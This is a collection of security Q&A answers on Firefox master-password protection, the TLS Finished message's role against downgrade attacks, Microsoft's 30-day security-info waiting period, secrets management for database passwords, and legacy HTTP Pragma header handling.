Ohter browsers store there data in different locations in different ways. If a software doesn't check these loactions and files it obviously can't display the contents of this files. +the software must know the decryption algorithm for those files.Mozilla at least gives you the option to set a master password. That is then used for de/encrypting key3.db which contains the key to de/encrypt your stored passwords. With a master password set key3.db can no longer be decrypted with the default key used by those tools and without the key stored in key3.db your stored passwords can't be decrypted as well.


SSL - Does Change_cipher protects against downgrade ?

The finishing of the handshake is done with both the ChangeCipherSpec and Finished message as your correctly state. But then you wrongly conclude from "Role of the finish phase : counter the downgrade attack." that the ChangeCipherSpec is the one which protects against downgrade attack. Only it is not - the Finished message instead is used to counter this attack.

This protection works because the Finished message consists of a hash which includes all handshake messages. In case of a downgrade attack the attacker has modified the ClientHello in transit which results in the server having a different idea of the handshake messages send by the client than the client itself. This means that the Finished message created by the client and received by the server does not meat the servers expectations and the handshake will thus be aborted.


What is the point of Microsofts 30 day security update waiting period

The 30-day waiting period helps Microsoft stop unauthorized people from trying to completely take over an account that isn't theirs. For example, an unauthorized person obtaining an account password through phishing or shared passwords across third party platforms. This waiting period gives the real account owner enough time to be alerted of any major changes and to cancel it if they didn't make those changes.
During this 30-day period, you'll still be able to access most Microsoft services. You won't, however, be able to do things that require a security code, like changing your password, viewing billing information, or buying new apps or games from Microsoft Store or on Xbox.
After the process of resetting your security information has started, you must wait the full 30 days for it to complete. However, if you regain access to a piece of your original security info, you can cancel the replacement yourself.

Source: Official Microsoft Source


Turtles All the Way Down is a good talk that covers this subject.

In short, there aren't any great solutions, because if you store the password to the database somewhere, you have to authenticate to that somehow, which leaves you back where you started.  However, there are some options that reduce your risk.

The most common solutions are to store the password in an untracked file or environment variables on the server.  This prevents a leak of your source code from exposing the password, but someone who gains access to your server will still be able to see it.  You can also use systems that encrypt passwords into a file that is then stored in version control, which gives you all the benefits of a VCS, but this falls to similar issues.

Personally, I'm fond of secrets management systems like Hashicorp's Vault or Square's Keywhiz.  These are systems that (usually) live external to your server and provide an API for getting and setting secret values.  While they require authentication, this authentication can be temporary session values, similar to session cookies for websites, which will prevent an undetected attacker from gaining long-term access to your secrets, as the session they've stolen will expire (at some configurable time).  These systems generally include audit logs as well, so once you detect a breach, you can track down where it came from.

The solution that makes the most sense for your particular situation depends a lot on your needs.  Vault and friends are excellent, but introduce a lot of additional operational complexity, possibly more than the entire rest of your application.  You will need to evaluate the tradeoffs for yourself to see what would be a good fit.


Is there any evidence misusing the HTTP Pragma header in responses has any (unique) effect?

Pragma is deprecated in favor of Cache-Control, but because of its common misuse as a response header there are clients and proxies who will interpret it as such.

Past squid versions are an example and starting with 3.2, Squid is advertising and attempting to fully support HTTP/1.1 specifications meaning pragma in a server response has no meaning whatsoever and will be ignored.

According to Microsoft KB234067, Internet Explorer 4.01 and 6.0 allow Pragma: no-cache in a secure HTTP response and a Pragma: no-cache meta tag via insecure response.  Other browsers such as Firefox seem to have spotty support of it.

Note RFC2616 states:

  Cache directives are unidirectional in that the presence of a directive in a request does not imply that the same directive is to be given in the response.

  Note that HTTP/1.0 caches might not implement Cache-Control and
        might only implement Pragma: no-cache (see section 14.32).